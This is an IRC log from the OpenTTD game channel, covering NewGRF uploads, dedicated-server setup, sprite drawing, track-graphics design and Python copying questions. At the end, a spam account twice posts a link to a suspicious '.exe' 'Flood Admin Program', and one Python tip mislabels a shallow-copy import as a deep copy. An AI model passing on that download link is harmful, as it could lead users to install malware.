09:54<Pikka>that tablecat fellow draws the strangest things
09:56<@orudge>zomg Scuddles
09:56<@planetmaker>oh noes, a DanMacK !
09:56<@orudge>zomg PierreW
09:56<@orudge>and everybody uses #tycoon, silly Pikka
09:56<@orudge>and bah, zomg Pikka is what I meant, not PierreW
09:56<@orudge>also zomg DanMacK
09:56<Pikka>I don't even know who PierreW is
09:57<@orudge>well you should
09:57<__ln__>@seen PierreW
09:57<@DorpsGek>__ln__: PierreW was last seen in #openttd 1 year, 33 weeks, 4 days, 2 hours, 52 minutes, and 40 seconds ago: <PierreW> sad that i can't code the language, in whatever openttd is built in
09:57<@planetmaker>obviously a person with 3 unnecessary highlights in the last 120 seconds ;-)
09:57<@planetmaker>or four
09:57<__ln__>oh, he has spoken
09:57<__ln__>not too recently though
09:59<Pikka>so
09:59<Pikka>now we're all here
09:59<Pikka>why won't my grf upload to bananas?
09:59<Scuddles>execpt danmack
10:00<Scuddles>excerpt
10:00<Pikka>remove
10:00<Scuddles>I saw a truck while on a bus to work recently
10:00<Scuddles>it was a house moving company with a name in chinese
10:01<Scuddles>and written below it was "House Removal"
10:02<Scuddles>Oh this seems to be an actual term though
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10:04*DanMacK forgot Snail was now on this side of the pond
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10:06<Pikka>well, do they move the house or just the things in the house, Scuddles?
10:06<Scuddles>Things in house
10:07<Eddi|nichZuHause>hm... what's the linux equivalent of "keyb gr"?
10:09<@planetmaker>Pikka, which NewGRF was that?
10:09<@planetmaker>I've seen that mistake recently too often :S
10:09<Pikka>ukrs2
10:09<Pikka>http://www.tt-forums.net/viewtopic.php?f=26&t=45637&p=997723#p997723
10:10<Pikka>andy tried uploading it for me too, didn't work
10:11<@planetmaker>But Rubidium did some magic to the NewGRF entries in bananas which refused to accept updates so that uploading worked again... it might need doing for the UKRS2 entry as well.
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10:18<Rubidium>planetmaker: I could as well have broken it completely ;)
10:19<@planetmaker>it worked for both other guys
10:19<Rubidium>seemed to work!
10:19<@planetmaker>well, the newgrfs are now available ;-)
10:19<@planetmaker>but yes
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10:30<Eddi|nichZuHause>i guess i should get a more modern knoppix than 2006...
10:34-!-andythenorth [~Andy@cpc23-aztw25-2-0-cust33.aztw.cable.virginmedia.com] has joined #openttd
10:38<Pikka>hello andythenorth
10:38<Pikka>goodnight gentlemen
10:38<DanMacK>Hey Andy
10:38-!-Pikka [~chatzilla@d114-78-20-54.rdl800.qld.optusnet.com.au] has quit [Quit: ChatZilla 0.9.88 [Firefox 10.0.2/20120215223356]]
10:38<DanMacK>Night
10:38<andythenorth>one in, one out
10:38<andythenorth>did you talk about buses yet?
10:38<DanMacK>not yet
10:38<andythenorth>or extra-long trains? :)
10:39<DanMacK>too busy discussing the UKRS :P
10:39<DanMacK>and me updating my sprites
10:39*DanMacK just uploaded an 0-3-0 to Pikka's tracking table
10:39<Scuddles>wat
10:39<andythenorth>DanMacK: if you ever get bored of the trains....
10:40<andythenorth>I can already hack around the cabover you've drawn
10:40<DanMacK>Oh I know :P
10:40<andythenorth>but a conventional would be really useful too... :)
10:40<DanMacK>it would be, yes
10:41*DanMacK senses Scuddles is confused
10:41<andythenorth>I *might* get around to drawing it myself, but I prefer your style
10:41<DanMacK>thanks, I'll see what I can do
10:41<andythenorth>and I'm having too much fun writing generator code
10:41<DanMacK>heh
10:41<Scuddles>not at all I just googled cabover
10:41<Scuddles>so why aren't there cabunders
10:41<DanMacK>ahhh
10:41<andythenorth>Scuddles: there are
10:41<andythenorth>I can't remember the name of the damn thing, but it was a german prototype
10:41<DanMacK>I thought you were wondering about the 0-3-0 :P
10:41<Scuddles>though I am confused by 0-3-0
10:41<DanMacK>check the tracking table ;)
10:42<Scuddles>ridiculous
10:42<DanMacK>http://en.wikipedia.org/wiki/0-3-0
10:42<Scuddles>is this for ukrs
10:42<DanMacK>possibly
10:42<andythenorth>haha
10:42<Scuddles>I didn't see it for a while and thought it got cancelled
10:42<DanMacK>or a separate add-on, but Pikka said I should throw them on there
10:43<DanMacK>No, just got sidetrackes
10:43<Scuddles>evidently to confuse players
10:43<DanMacK>heh
10:43<DanMacK>I uploaded the track sprites too
10:43<Scuddles>how do the junctions work
10:44<DanMacK>well, TTD limits would just have them standard
10:44<Scuddles>oh my this is one wide loco
10:45*DanMacK should get his lunch assembled
10:45<Scuddles>what is this I don't even
10:45<Scuddles>coffeepot
10:46<DanMacK>builders/demonstration loco
10:46<Scuddles>I can't really see what it's made out of and it's making my eye hurt
10:46<andythenorth>DanMacK: if you ever get to it...http://hg.openttdcoop.org/bandit/raw-file/57f1da81e690/graphics_sources/BANDIT_types_NA.png
10:47<andythenorth>I worked out the dimensions for bonnets, sleeper boxes etc
10:47<andythenorth>it's a 4px grid
10:47<andythenorth>also a day-cab cabover
10:47*DanMacK can work with that
10:47<Scuddles>blue and white colour scheme sure looks like DOS and such
10:48<andythenorth>as long as the bumper-back-of-cab (BBC) is a multiple of 4px in the - view it will work
10:48<andythenorth>so we can do oddballs like this too http://www.hankstruckpictures.com/pix//trucks/tim_gibson/mar2003/rr_readymix.jpg
10:48<DanMacK>http://wbf-kk.de/Bilder/Lartigue.html
10:49<DanMacK>The coffeepot's the last loco
10:49<andythenorth>GMC crackerbox - michigan train http://www.hankstruckpictures.com/pix//trucks/tim_gibson/andersen1.jpg
10:50<DanMacK>nice
10:50<andythenorth>bigger crackerbox with tanks http://www.hankstruckpictures.com/pix//trucks/tim_gibson/sept2002/a_and_c4.jpg
10:50<DanMacK>http://www.autos.ca/classic-cars/motoring-memories-the-labatt-streamliners-1937-1947 <== Labatt Streamliner
10:51<Mazur>Ha, first time I see openttd+replacement data files in a fedora repository. Have they been there long, now?
10:52<andythenorth>DanMacK: clearly room for that in the set ;)
10:52<andythenorth>I am sorely lacking on variety
10:52<andythenorth>I have *lots* of trucks (maybe too many), but not a lot of interest
10:52<andythenorth>you might say the interest:trucks ratio is a bit low
10:52<Scuddles>these are the fanciest tank locos I've seen this year
10:53<andythenorth>DanMacK: don't think I can generate the streamliner :)
10:53<andythenorth>might have to settle for drawing ;)
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11:00<andythenorth>hmm
11:00*andythenorth can see the appeal of 32bpp :(
11:01<andythenorth>I don't have enough spare life to redraw everything though
11:01<Rubidium>andythenorth: just create more helpers ;)
11:01<andythenorth>if only
11:01<andythenorth>I'd probably create them to 2x zoom, as that's the most appealing size to me
11:02<andythenorth>I could do a batch scale in photoshop or PIL, then paint the gaps
11:03<andythenorth>but...then what does 1x zoom look like?
11:05<DanMacK>lol
11:05*DanMacK is heading out
11:05<DanMacK>I'll see what I can do about the trucks
11:05<DanMacK>Laters
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13:01<Eddi|nichZuHause>hm... it's near impossible to move windows to another disk...
13:02<Eddi|nichZuHause>i successfully moved all files, and got it to boot from the new disk, but *somewhere* it takes files from the old disk, and hangs during boot if the old disk is not present
13:02<blathijs>Eddi|nichZuHause: Did you try dd'ing the full filesystem instead of moving individual files?
13:02<Rubidium>maybe it refers to the disk by its uuid?
13:03<blathijs>s/try/consider/
13:03<@planetmaker>Eddi|nichZuHause, dd works nicely for windows HDDs
13:04<FHerne>dd worked for me (XP)
13:04<@planetmaker>yeah, that's where I tested it, too :-)
13:05<FHerne>Not sure why I bothered really, I dropped Windows a few weeks later anyway...
13:05<FHerne>forward planning is overrated :P
13:06<+glx>Eddi|nichZuHause: you updated BCD too ?
13:06<@planetmaker>well. I needed it to get identical copies of flight hardware to have a working spare. Just in case
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13:15<Eddi|nichZuHause>glx: what's BCD?
13:16<+glx>the boot system
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13:18<Chris_Booth>is there a limit howmany refit options a wagon has?
13:19<Chris_Booth>for example could I make a superwagon that could refit to any cargo?
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13:31<Eddi|nichZuHause>glx: yes, i fixed the boot system
13:31<Eddi|nichZuHause>it hangs somewhere later, during the "welcome" screen
13:32<Eddi|nichZuHause>if i have the old disk attached (as second disk according to the bios) then it boots from the new disk, but puts it as D: and takes some things from C:
13:32<Eddi|nichZuHause>like the personal directory is what i can immediately see, but may as well be things deeper inside the OS
13:38-!-morph_ [~4e547932@101.haydn.openttdcoop.org] has joined #openttd
13:38<morph_>Hello, I am trying to add some NewGrf to a dedicated OpenTTD server
13:38<morph_>What folder do I copy the .tar NewGrf file in? (Ubuntu 11.04 server)
13:39<morph_>I tried in my /.openttd/content_download and /openttd/data folders, did not work
13:41<morph_>Anyone?
13:42-!-frosch123 [~frosch@frnk-4d0081bf.pool.mediaWays.net] has joined #openttd
13:43<FHerne>.tar NewGRF?
13:43<@Yexo>morph_: define "did not work" please
13:43<@Yexo>how do you reference that newgrf in your config file for example?
13:44<morph_> ini: ignoring invalid NewGRF '2cc_trainset-2.0.0beta5\2cctrainset.grf': not found
13:44<morph_>2cc_trainset-2.0.0beta5\2cctrainset.grf = 2 2 0
13:44<morph_>Under set [newgrf]
13:44<morph_>In config file
13:45<morph_>1) Do I need to copy the NewGrf.TAR file ?
13:45<morph_>Cause it seems kinda weird to reference a .grf yet there's just a .tar file
13:45<@Yexo>a tar file is a bundle that can have multiple files inside it
13:45<@Yexo>amongst others a grf
13:46<morph_>Ok, I can unpack the tar
13:46<@Yexo>you don't have to
13:46<CIA-1>OpenTTD: translators * r23998 /trunk/src/lang/ (11 files in 2 dirs): (log message trimmed)
13:46<CIA-1>OpenTTD: -Update from WebTranslator v3.0:
13:46<CIA-1>OpenTTD: basque - 106 changes by HerrBasque
13:46<CIA-1>OpenTTD: english_AU - 9 changes by tomas4g
13:46<CIA-1>OpenTTD: french - 17 changes by OliTTD
13:46<morph_>Where do I put the Directory "2cc_trainset-2.0.0beta5"
13:46<CIA-1>OpenTTD: german - 2 changes by NG
13:46<CIA-1>OpenTTD: greek - 25 changes by kyrm
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13:46<@Yexo>depending on the OS of the server you might need to use a / instead of a \
13:47<morph_>Ok, will try, sec
13:47<@Alberth>moin
13:47<andythenorth>bah
13:47<andythenorth>no battery
13:47<andythenorth>biab
13:47<andythenorth>:(
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13:49<morph_>Yexo - no error message this time, will check server
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13:49<andythen_>Meh
13:49<andythen_>Phone irc
13:50<morph_>Damn, very nice, thanks alot Yexo. Didn't think it'd be this easy
13:50<morph_>:)
13:50*andythen_ wonders what a good iphone irc client is
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13:56<@Alberth>you seem a bit shortened andy :)
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13:58<morph_>Any ideas how to change monorail/maglev appearance date for a server ?
13:59<morph_>Im starting game at 1977 and building monorail track is already active
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14:00<|Jeroen|>1977 is correct if you check wikipedia
14:00<Rhamphoryncus>You're using a newgrf
14:00<@Yexo>disable any newgrfs you have with monorail/magleve vehicles
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14:14<morph_>OK, this will be painful - adding AP+ to the server...
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14:14<Belugas>hello
14:14<morph_>Hi
14:15<@Alberth>hello Belugas, no more 'the second' any more ?
14:15<Belugas>lol
14:15*Alberth liked the title :)
14:15<Belugas>nope, connection was smooth, so i did not had to clone myself!
14:16<@Alberth>good to hear you are fully back to a single self :)
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14:26<@Alberth>andy, you figured out how to do the sequence collection?
14:27-!-flaa [~flaa@089-101-093077.ntlworld.ie] has joined #openttd
14:27<andythenorth>phone irc - not great :(
14:27*andythenorth is now back on real computers
14:28<andythenorth>Alberth: I figured out how to do that yes
14:28<andythenorth>you gave me everything I needed ;)
14:28<@Alberth>useful for reading, perhaps :)
14:28<andythenorth>I haven't coded it yet though
14:28<andythenorth>pending baby interruptions I'll start now
14:28<andythenorth>although I have to send baby photos to my mum first :P
14:29<andythenorth>(even andythenorth has a mum)
14:29<@Alberth>that's important :)
14:35<andythenorth>bah
14:35<andythenorth>I think my mac has scribbled all over it's memory when it ran out of battery :P
14:35<andythenorth>restarts are boring
14:37<@Alberth>good night, and good luck programming
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14:40<andythenorth>stupid mac
14:40<andythenorth>:)
14:41<andythenorth>95% idle, 4G free, taking 10mins to close programs so I can restart :P
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14:44<FHerne>At least your desktop environment doesn't segfault every few minuter
14:44<FHerne>KDE4 still isn't the most stable
14:46<andythenorth>sudo shutdown -h now methinks
14:46<andythenorth>don't copy that to *your* shell without knowing why ;)
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14:47<FHerne>Don't you need a -P on the end of that?
14:47<FHerne>or are Macs different?
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14:50<Rubidium>andythenorth: just pull the plug and battery. That's the only way I've seen a Mac turn off reliably
14:51<andythenorth>battery access means unscrewing 12 screws or so ;)
14:51<andythenorth>I've never seen 'shutdown' fail :)
14:51<andythenorth>un*x ftw
14:52<Rubidium>andythenorth: well, I've seen a mac fail to turn off (it did hang quite well), not even by pressing the on/off button for a long time
14:52<Rubidium>but that's back in the days
14:53<Rubidium>it was after Lisa though ;)
14:53*andythenorth also experienced the crazy world of classic mac os
14:53<andythenorth>where it was common to install an auto-save helper app
14:53<andythenorth>and a crash every 25mins or so was standard
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15:06<@peter1138>memory protection? what's that?
15:08<andythenorth>hmm
15:08<andythenorth>http://www.tt-forums.net/viewtopic.php?p=997794#p997794
15:08<andythenorth>he's reporting an identical issue to the one I had earlier today
15:08<andythenorth>I solved it by upgrading to ottd tip
15:20<Eddi|nichZuHause>mäh, copying is the most boring task you can do, without having your usual distraction tools with you...
15:22<Eddi|nichZuHause>@calc 40*1024/6.6/3600
15:22<@DorpsGek>Eddi|nichZuHause: 1.72390572391
15:22<Eddi|nichZuHause>@calc 40*1024/6.6/60-60
15:22<@DorpsGek>Eddi|nichZuHause: 43.4343434343
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15:52<DanMacK>Hey all
15:52*DanMacK wonders if it's yet possible to show directional switch and crossing graphics...
15:54*frosch123 wonders voting for the paused title game :p
15:54<frosch123>*ponders
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15:58<frosch123>nicfer is a troll, isn't he? :p
15:59<andythenorth>hola DanMacK
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16:03<DanMacK>Hey
16:04<DanMacK>You know that one Andy?
16:05<morph_>Im too stupid to figure out how to use dtach for dedicated server..
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16:15<andythenorth>DanMacK: sorry, no, don't know
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16:16<andythenorth>what exactly do you envisage? :)
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16:20<DanMacK>Switch tracks aligning as per train direction
16:20<DanMacK>Would be handy for Monorails
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16:24<andythenorth>ho
16:24<andythenorth>that sounds quite...advanced ;)
16:24<andythenorth>hmm
16:24<andythenorth>if PBS is in use, that draws the routing overlay
16:24<andythenorth>but only if PBS is in use
16:24<andythenorth>suggests the route can be found though
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16:26<andythenorth>I don't know if you'd need an extra tile bit to store this
16:26<andythenorth>or more than one depending on how many junctions you have
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16:41<frosch123>\o/
16:41*frosch123 managed to vote
16:41<morph_>Ok, I finally did it, made an OpenTTD Server \o/
16:41<morph_>Happy
16:41<frosch123>i wanted to do it for like 3 weeks :o
16:42<morph_>I will probably add some city-building etc. servers, too
16:42<+michi_cc>andythenorth: A train always reserves the track bits it is on, even in non-pbs sections, so I guess a NewGRF variable with the reserved track bits would be enough.
16:43<andythenorth>and storing state of last direction? (not really needed tbh)
16:43<andythenorth>could just display a default direction, and only use alternate when routing that direction
16:43<frosch123>stations can access the pbs bit
16:43<andythenorth>DanMacK: ^
16:43<frosch123>level crossings can as well (kind of)
16:43<Eddi|nichZuHause>so who was the guy who was against variables for railtypes? :p
16:44<frosch123>Eddi|nichZuHause: we already have some?
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16:44<frosch123>we were only against variables with non-constant complexity
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16:44<Eddi|nichZuHause>i've been wanting the trackbits of the 4 adjacent tiles for ages
16:45<+michi_cc>I'd be very much against calculated variables, but if I look at the complexity of drawing a single piece of catenary, a few VarAct2's for per track tile don't look problematic.
16:45<frosch123>sounds like hypercomplex if they are on different levels :)
16:45<+michi_cc>Calculated like some of the 60+x variables I mean.
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16:46<morph_>I dont get this - I turn off inflation in openttd.cfg file, when I turn server off, inflation's back on
16:46<morph_>Anything I should know?
16:46<+michi_cc>OpenTTD writes the config on exit.
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16:47<+michi_cc>So exit first, then change value.
16:47<morph_>I did.
16:47<Eddi|nichZuHause>i rather meant 40+ variable bitstuffed to the 4 adjacent tiles
16:47<Eddi|nichZuHause>no 60+ for arbitrary offsets
16:47<@planetmaker>morph_, if you load a savegame, then the value stored there is used
16:47<morph_>I have stopped the server. If I change the value now, then turn server on and join, 5 blocks cost like 50k
16:47<Eddi|nichZuHause>(although that might be "fun" for spanning multiple tiles with catenary
16:47<morph_>I did not load a savegame :(
16:48<Eddi|nichZuHause>but that should rather be something cached in the tile, like fences)
16:48<Rhamphoryncus>andythenorth: A couple tiles of look-ahead for signal allocation would make various constructs much easier and provide a way to know what direction a switch should be
16:49<andythenorth>oops
16:49*andythenorth did a silly in python
16:50<+michi_cc>A variable with adjacent track bits isn't a problem. The real question is how to layout the bits (e.g. absolute direction or relative to track) and if it would make sense to have some kind of flag to draw tiles at once and not piece by piece for junction tiles.
16:51<+michi_cc>Basically the variable should provide the info in such a way that the GRF needs as few extra calculations as possible.
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16:52<Rhamphoryncus>andythenorth: did you assign to str? :)
16:52<+michi_cc>Which in turn depends on how to best draw and group the track sprites.
16:52<andythenorth>Rhamphoryncus: more of a logical flow error ;)
16:52<Rhamphoryncus>ah :)
16:53<andythenorth>I got in a pickle (not a python pickle) trying to do things outside an object which are much easier if done in the object's scope
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16:54<Rhamphoryncus>morph_: I recently discovered that certain combinations of vactrains and vactrain versions cause prices to jump. I don't suppose that's possible for you?
16:54<Rhamphoryncus>err vactrain and nutracks
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16:56<Eddi|nichZuHause>"draw junction at onces" might be too tedious to gather all the different sprites needed...
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17:08<+michi_cc>Drawing layered might not look very good though, due to too much overlap with the sleepers.
17:08<Eddi|nichZuHause>need separate layers for the sleepers and the rail :)
17:10<+michi_cc>Composite them with a script into "junction at once" sprites.
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17:10<+michi_cc>Maybe andy's Pixa can draw rails as well :)
17:10<@planetmaker><morph_> Im too stupid to figure out how to use dtach for dedicated server.. <-- not sure it was answered: start a screen on the server and openttd within that screen. You can then safely close that xterm
17:11<@planetmaker>and regain control by reconnecting to that screen
17:14<andythenorth>oops
17:14<andythenorth>I copied a list to avoid writing into it
17:15<andythenorth>but the list contains objects
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17:15<andythenorth>so modifying the contents of one list modifies the other :P
17:15<andythenorth>took me a while to figure that out :P
17:17<andythenorth>python is fun :)
17:17<andythenorth>michi_cc: drawing rails is probably possible
17:17<+glx>planetmaker: dtach is a kind of screen IIRC
17:17<andythenorth>not sure you'd gain much, because track is so simple
17:17<+michi_cc>Curved track isn't simple :)
17:17<andythenorth>true
17:18<andythenorth>you could teach it to draw the curves
17:18<andythenorth>PIL's draw module probably has a chord option
17:19<andythenorth>you could also teach it to draw pseudo-random ballast
17:19<andythenorth>and sleepers
17:19<andythenorth>I kind of need to code it first though :)
17:24<Eddi|nichZuHause>andythenorth: make a deep copy?
17:24<Eddi|nichZuHause>from copy import copy
17:25*andythenorth looks
17:25*andythenorth tries
17:25<andythenorth>currently I'm doing: temp_points = [Point(i.dx, i.dy, i.colour) for i in self.points]
17:27<andythenorth>deep copy ftw
17:27<andythenorth>thanks
17:28<@planetmaker>glx, I assumed it's simply missing one letter and a bit funny grammar :-) I didn't recognize it as a programme name ;-)
17:36<Eddi|nichZuHause>andythenorth: really, sometimes i think you picked up python last week :p
17:36*andythenorth shrug :)
17:36<andythenorth>you can get a long way with simple python
17:37<andythenorth>mostly I code in a CMS which has (for security reasons) restricted python
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17:49<andythenorth>how interestink
17:49<andythenorth>my Pixa code all works now
17:49<andythenorth>and is much cleaner
17:49<andythenorth>possibly even reusable by others :P
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18:15<Rhamphoryncus>I think I'm a masochist. I started a FIRS game in 1830.
18:15<Rhamphoryncus>(with NARS and EGRVTS)
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18:20<Pikka>I hope you have inflation turned off :)
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18:24*Rhamphoryncus whistles and goes and fixes something >.>
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18:29<Rhamphoryncus>oh. My poor Grasshopper was fine until it hit a hill. A single hill.
18:29<frosch123>night
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19:31<DanMacK>Stupid internet
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19:58<ooo42>hi
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21:10<mox>hy man
21:11<mox>anyone who cand help me instal a mod in chris sawer locomotion?
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23:03<BootAdmin>Flood Admin Program http://ww.alkader.net/porograms/sex.exe
23:03<BootAdmin>Flood Admin Program http://ww.alkader.net/porograms/sex.exe
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---Logclosed Wed Feb 29 00:00:25 2012